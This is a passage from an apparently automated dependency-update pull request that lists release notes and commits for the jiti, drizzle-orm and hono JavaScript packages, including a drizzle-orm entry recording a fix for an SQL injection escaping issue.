href=\"https://redirect.github.com/unjs/jiti/pull/413\"\u003e#413\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFallback for \u003ccode\u003eENAMETOOLONG\u003c/code\u003e when evaluating esm (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/429\"\u003e#429\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e📦 Build\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade rspack to v2 (\u003ca href=\"https://github.com/unjs/jiti/commit/55194fb\"\u003e55194fb\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eExperimental rolldown config (\u003ca href=\"https://github.com/unjs/jiti/commit/8c0243f\"\u003e8c0243f\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e✅ Tests\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eIgnore jsx test for bun/cjs (\u003ca href=\"https://github.com/unjs/jiti/commit/3a744ca\"\u003e3a744ca\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Contributors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ePooya Parsa (\u003ca href=\"https://github.com/pi0\"\u003e\u003ccode\u003e@​pi0\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eKricsleo (\u003ca href=\"https://github.com/kricsleo\"\u003e\u003ccode\u003e@​kricsleo\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEspen Hovlandsdal (\u003ca href=\"https://github.com/rexxars\"\u003e\u003ccode\u003e@​rexxars\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRintaro Itokawa (\u003ca href=\"https://github.com/re-taro\"\u003e\u003ccode\u003e@​re-taro\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMatteo Collina (\u003ca href=\"https://github.com/mcollina\"\u003e\u003ccode\u003e@​mcollina\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMario Zechner (\u003ca href=\"https://github.com/badlogic\"\u003e\u003ccode\u003e@​badlogic\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/unjs/jiti/blob/main/CHANGELOG.md\"\u003ejiti's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.7.0\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/unjs/jiti/compare/v2.6.1...v2.7.0\"\u003ecompare changes\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003e🚀 Enhancements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd explicit resource management (using/await using) support (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/422\"\u003e#422\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSupport opt-in \u003ccode\u003etsconfigPaths\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/427\"\u003e#427\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSupport virtual modules option (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/428\"\u003e#428\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003ejiti/static\u003c/code\u003e export (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/430\"\u003e#430\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🔥 Performance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003einteropDefault:\u003c/strong\u003e Add caching to reduce proxy overhead by ~2x (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/421\"\u003e#421\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003erequire:\u003c/strong\u003e Passthrough resolve options (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/412\"\u003e#412\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eci:\u003c/strong\u003e Skip \u003ccode\u003e--coverage\u003c/code\u003e flag for node 18 (\u003ca href=\"https://github.com/unjs/jiti/commit/fe264b4\"\u003efe264b4\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003erequire:\u003c/strong\u003e Fallback to transpilation when \u003ccode\u003etryNative\u003c/code\u003e fails (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/413\"\u003e#413\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFallback for \u003ccode\u003eENAMETOOLONG\u003c/code\u003e when evaluating esm (\u003ca href=\"https://redirect.github.com/unjs/jiti/pull/429\"\u003e#429\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e📦 Build\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade rspack (\u003ca href=\"https://github.com/unjs/jiti/commit/55194fb\"\u003e55194fb\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eExperimental rolldown config (\u003ca href=\"https://github.com/unjs/jiti/commit/8c0243f\"\u003e8c0243f\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🏡 Chore\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix lint issues (\u003ca href=\"https://github.com/unjs/jiti/commit/4045c7a\"\u003e4045c7a\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate deps (\u003ca href=\"https://github.com/unjs/jiti/commit/e88ac44\"\u003ee88ac44\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate deps (\u003ca href=\"https://github.com/unjs/jiti/commit/498e8d7\"\u003e498e8d7\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd missing prettier dep (\u003ca href=\"https://github.com/unjs/jiti/commit/650bc48\"\u003e650bc48\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eLint (\u003ca href=\"https://github.com/unjs/jiti/commit/058d91a\"\u003e058d91a\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eInit agents.md (\u003ca href=\"https://github.com/unjs/jiti/commit/c49c54e\"\u003ec49c54e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate agents.md (\u003ca href=\"https://github.com/unjs/jiti/commit/4deba16\"\u003e4deba16\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate deps (\u003ca href=\"https://github.com/unjs/jiti/commit/08fc868\"\u003e08fc868\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate tsconfig (\u003ca href=\"https://github.com/unjs/jiti/commit/8c7822e\"\u003e8c7822e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate release script (\u003ca href=\"https://github.com/unjs/jiti/commit/27fe3f2\"\u003e27fe3f2\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e✅ Tests\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eIgnore jsx test for bun/cjs (\u003ca href=\"https://github.com/unjs/jiti/commit/3a744ca\"\u003e3a744ca\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate (\u003ca href=\"https://github.com/unjs/jiti/commit/9ee314f\"\u003e9ee314f\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🤖 CI\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdate node test matrix (\u003ca href=\"https://github.com/unjs/jiti/commit/0abda72\"\u003e0abda72\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Contributors\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/unjs/jiti/commit/fd3bb289b75ed207edfb686d671ed50144f7e90f\"\u003e\u003ccode\u003efd3bb28\u003c/code\u003e\u003c/a\u003e chore(release): v2.7.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/unjs/jiti/commit/27fe3f2a496b712674061c767f21ceaf34d39d83\"\u003e\u003ccode\u003e27fe3f2\u003c/code\u003e\u003c/a\u003e chore: update release script\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/unjs/jiti/commit/4fcd2f23aa31d2e1ece4b307350b8c1d72a26870\"\u003e\u003ccode\u003e4fcd2f2\u003c/code\u003e\u003c/a\u003e fix: fallback for \u003ccode\u003eENAMETOOLONG\u003c/code\u003e when evaluating esm (\u003ca href=\"https://redirect.github.com/unjs/jiti/issues/429\"\u003e#429\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/unjs/jiti/commit/8c0243f14e65193fceb023b81aed5c9a820ee2cb\"\u003e\u003ccode\u003e8c0243f\u003c/code\u003e\u003c/a\u003e build: experimental rolldown config\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/unjs/jiti/commit/55194fbb97b56af50ae1c19735ee3b06110b3903\"\u003e\u003ccode\u003e55194fb\u003c/code\u003e\u003c/a\u003e build: upgrade rspack\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/unjs/jiti/commit/0abda72c11fa31654ae17f255f9a854e4b706018\"\u003e\u003ccode\u003e0abda72\u003c/code\u003e\u003c/a\u003e ci: update node test matrix\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/unjs/jiti/commit/8c7822ef2ff03669c31de2fedfcf6676970f5b2a\"\u003e\u003ccode\u003e8c7822e\u003c/code\u003e\u003c/a\u003e chore: update tsconfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/unjs/jiti/commit/08fc868c928d65fb615800e51b0ec1ac78f83a69\"\u003e\u003ccode\u003e08fc868\u003c/code\u003e\u003c/a\u003e chore: update deps\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/unjs/jiti/commit/5d552e3bebf9ffcd3fb9f176364fce7b4e35134d\"\u003e\u003ccode\u003e5d552e3\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003ejiti/static\u003c/code\u003e export (\u003ca href=\"https://redirect.github.com/unjs/jiti/issues/430\"\u003e#430\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/unjs/jiti/commit/ae790b0214512857e40e8b3078b63a7d65f7f2c9\"\u003e\u003ccode\u003eae790b0\u003c/code\u003e\u003c/a\u003e feat: support virtual modules option (\u003ca href=\"https://redirect.github.com/unjs/jiti/issues/428\"\u003e#428\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/unjs/jiti/compare/v2.6.1...v2.7.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `drizzle-orm` from 0.38.4 to 0.45.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/drizzle-team/drizzle-orm/releases\"\u003edrizzle-orm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.45.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003esql.identifier()\u003c/code\u003e, \u003ccode\u003esql.as()\u003c/code\u003e escaping issues. Previously all the values passed to this functions were not properly escaped\ncausing a possible SQL Injection (CWE-89) vulnerability\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThanks to \u003ca href=\"https://github.com/EthanKim88\"\u003e\u003ccode\u003e@​EthanKim88\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/0x90sh\"\u003e\u003ccode\u003e@​0x90sh\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/wgoodall01\"\u003e\u003ccode\u003e@​wgoodall01\u003c/code\u003e\u003c/a\u003e for reaching out to us with a reproduction and suggested fix\u003c/p\u003e\n\u003ch2\u003e0.45.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed pg-native Pool detection in node-postgres transactions breaking in environments with forbidden \u003ccode\u003erequire()\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/5107\"\u003e#5107\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.45.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed pg-native Pool detection in node-postgres transactions\u003c/li\u003e\n\u003cli\u003eAllowed subqueries in select fields\u003c/li\u003e\n\u003cli\u003eUpdated typo algorythm =\u0026gt; algorithm\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003e$onUpdate\u003c/code\u003e not handling \u003ccode\u003eSQL\u003c/code\u003e values (fixes \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/2388\"\u003e#2388\u003c/a\u003e, tests implemented by \u003ca href=\"https://github.com/L-Mario564\"\u003eL-Mario564\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/pull/2911\"\u003e#2911\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003epg\u003c/code\u003e mappers not handling \u003ccode\u003eDate\u003c/code\u003e instances in \u003ccode\u003ebun-sql:postgresql\u003c/code\u003e driver responses for \u003ccode\u003edate\u003c/code\u003e, \u003ccode\u003etimestamp\u003c/code\u003e types (fixes \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/4493\"\u003e#4493\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.7\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix durable sqlite transaction return value \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/3746\"\u003e#3746\u003c/a\u003e - thanks \u003ca href=\"https://github.com/joaocstro\"\u003e\u003ccode\u003e@​joaocstro\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.6\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: add $replicas reference \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/4874\"\u003e#4874\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.5\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed invalid usage of \u003ccode\u003e.one()\u003c/code\u003e in \u003ccode\u003edurable-sqlite\u003c/code\u003e session\u003c/li\u003e\n\u003cli\u003eFixed spread operator related crash in sqlite \u003ccode\u003eblob\u003c/code\u003e columns\u003c/li\u003e\n\u003cli\u003eBetter browser support for sqlite \u003ccode\u003eblob\u003c/code\u003e columns\u003c/li\u003e\n\u003cli\u003eImproved sqlite \u003ccode\u003eblob\u003c/code\u003e mapping\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix wrong DrizzleQueryError export. thanks \u003ca href=\"https://github.com/nathankleyn\"\u003e\u003ccode\u003e@​nathankleyn\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed types of \u003ccode\u003e$client\u003c/code\u003e for clients created by drizzle function\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre lang=\"ts\"\u003e\u003ccode\u003eawait db.$client.[...]\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003eAdded the \u003ccode\u003eupdated_at\u003c/code\u003e column to the \u003ccode\u003eneon_auth.users_sync\u003c/code\u003e table definition.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[BUG]: Fixed type issues with joins with certain variations of \u003ccode\u003etsconfig\u003c/code\u003e: \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/4535\"\u003e#4535\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/4457\"\u003e#4457\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/4586\"\u003e[BUG]: Drizzle can no longer run on Durable Objects\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.0\u003c/h2\u003e\n\u003ch2\u003eError handling\u003c/h2\u003e\n\u003cp\u003eStarting from this version, we’ve introduced a new \u003ccode\u003eDrizzleQueryError\u003c/code\u003e that wraps all errors from database drivers and provides a set of useful information:\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/273c78071d4841b497f5144734b38294df7ec64b\"\u003e\u003ccode\u003e273c780\u003c/code\u003e\u003c/a\u003e + 0.45.2 (\u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/5534\"\u003e#5534\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/4aa6ecfee4b4728dadf6f77f071a149878a3c6c0\"\u003e\u003ccode\u003e4aa6ecf\u003c/code\u003e\u003c/a\u003e Kit updates (\u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/5490\"\u003e#5490\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/e8e6edfef5ca69c6188d320388ad440265911057\"\u003e\u003ccode\u003ee8e6edf\u003c/code\u003e\u003c/a\u003e feat(drizzle-kit): support d1 via binding (\u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/5302\"\u003e#5302\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/a086f59fba7f46f3a077893ba912c99e91eaa760\"\u003e\u003ccode\u003ea086f59\u003c/code\u003e\u003c/a\u003e Fixed pg-native Pool detection in node-postgres transactions breaking in envi...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/c445637df39366bcf47b12601896ce851771c1c2\"\u003e\u003ccode\u003ec445637\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/5095\"\u003e#5095\u003c/a\u003e from drizzle-team/main-workflows\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/e7b3aaa26456b88cd23a7843ebc95b3bddde1ba4\"\u003e\u003ccode\u003ee7b3aaa\u003c/code\u003e\u003c/a\u003e Merge branch 'main' into main-workflows\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/0d885a54ddafd8717f8610cf3d2899f3eef61e65\"\u003e\u003ccode\u003e0d885a5\u003c/code\u003e\u003c/a\u003e refactor: Update condition for run-feature job to improve clarity and functio...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/45a1ffbcbfdd96772d0aba7d9e43744db2dce471\"\u003e\u003ccode\u003e45a1ffb\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/5087\"\u003e#5087\u003c/a\u003e from drizzle-team/main-workflows\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/6357645bd33b1f444e1d081769dd4b71c3de31f8\"\u003e\u003ccode\u003e6357645\u003c/code\u003e\u003c/a\u003e chore: Comment out NEON_HTTP_CONNECTION_STRING requirement in release workflows\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/53dec98a936f549d0cc2e668f19db3a2df842f51\"\u003e\u003ccode\u003e53dec98\u003c/code\u003e\u003c/a\u003e refactor: Simplify release router workflow by removing unnecessary switch job...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/drizzle-team/drizzle-orm/compare/0.38.4...0.45.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for drizzle-orm since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `hono` from 4.11.4 to 4.12.30\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/honojs/hono/releases\"\u003ehono's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.12.30\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(benchmark/routers): bump deps in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5107\"\u003ehonojs/hono#5107\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(benchmark): remove not used benchmarks in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5108\"\u003ehonojs/hono#5108\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: update to ts6 in prep for ts7 in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5104\"\u003ehonojs/hono#5104\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(cache): deduplicate Cache-Control directives case-insensitively in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5025\"\u003ehonojs/hono#5025\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(compress): do not compress 206 Partial Content responses in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5020\"\u003ehonojs/hono#5020\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(client): replaceUrlParam should not match a param that prefixes another in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5096\"\u003ehonojs/hono#5096\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(method-override): set duplex when forwarding a stream body in query mode in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5110\"\u003ehonojs/hono#5110\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/honojs/hono/compare/v4.12.29...v4.12.30\"\u003ehttps://github.com/honojs/hono/compare/v4.12.29...v4.12.30\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev4.12.29\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(client): merge function headers with per-request headers by \u003ca href=\"https://github.com/yusukebe\"\u003e\u003ccode\u003e@​yusukebe\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5092\"\u003ehonojs/hono#5092\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: fix no-op tsc in test script by \u003ca href=\"https://github.com/yusukebe\"\u003e\u003ccode\u003e@​yusukebe\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5093\"\u003ehonojs/hono#5093\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(lambda-edge): resolve the handler with the value passed to the callback by \u003ca href=\"https://github.com/yusukebe\"\u003e\u003ccode\u003e@​yusukebe\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5094\"\u003ehonojs/hono#5094\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(language): add JSDoc \u003ca href=\"https://github.com/example\"\u003e\u003ccode\u003e@​example\u003c/code\u003e\u003c/a\u003e to languageDetector by \u003ca href=\"https://github.com/codebybilal18\"\u003e\u003ccode\u003e@​codebybilal18\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5081\"\u003ehonojs/hono#5081\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest(workerd): add \u003ccode\u003ecompatibilityDate\u003c/code\u003e by \u003ca href=\"https://github.com/yusukebe\"\u003e\u003ccode\u003e@​yusukebe\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5100\"\u003ehonojs/hono#5100\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(lambda-edge): base64 encode content-encoded response bodies by \u003ca href=\"https://github.com/yusukebe\"\u003e\u003ccode\u003e@​yusukebe\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5099\"\u003ehonojs/hono#5099\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(aws-lambda): treat any non-identity content-encoding as binary by \u003ca href=\"https://github.com/yusukebe\"\u003e\u003ccode\u003e@​yusukebe\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5101\"\u003ehonojs/hono#5101\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(types): strip extra properties from array types in JSONParsed by \u003ca href=\"https://github.com/Arman-Luthra\"\u003e\u003ccode\u003e@​Arman-Luthra\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5103\"\u003ehonojs/hono#5103\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(trie-router): match empty wildcard remainder after regexp param by \u003ca href=\"https://github.com/usualoma\"\u003e\u003ccode\u003e@​usualoma\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5102\"\u003ehonojs/hono#5102\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(etag): treat If-None-Match: \u003ccode\u003e*\u003c/code\u003e as a match by \u003ca href=\"https://github.com/yusukebe\"\u003e\u003ccode\u003e@​yusukebe\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5084\"\u003ehonojs/hono#5084\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/codebybilal18\"\u003e\u003ccode\u003e@​codebybilal18\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5081\"\u003ehonojs/hono#5081\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Arman-Luthra\"\u003e\u003ccode\u003e@​Arman-Luthra\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5103\"\u003ehonojs/hono#5103\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/honojs/hono/compare/v4.12.28...v4.12.29\"\u003ehttps://github.com/honojs/hono/compare/v4.12.28...v4.12.29\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev4.12.28\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(serve-static): treat empty string content as found by \u003ca href=\"https://github.com/yusukebe\"\u003e\u003ccode\u003e@​yusukebe\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5062\"\u003ehonojs/hono#5062\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(MIGRATION): fix req.raw.headers reference (property, not method) by \u003ca href=\"https://github.com/EduardF1\"\u003e\u003ccode\u003e@​EduardF1\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5047\"\u003ehonojs/hono#5047\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: don't publish \u003ccode\u003e*.tsbuildinfo\u003c/code\u003e by \u003ca href=\"https://github.com/yusukebe\"\u003e\u003ccode\u003e@​yusukebe\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/honojs/hono/pull/5066\"\u003ehonojs/hono#5066\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(utils/body,validator): normalize Content-Type media type for case-insensitive matching by \u003ca href=\"https://github.com/yusukebe\"\u003e\u003ccode\u003e@​yusukebe\u003c/code\u003e\u003c/a\u003e in \u003ca 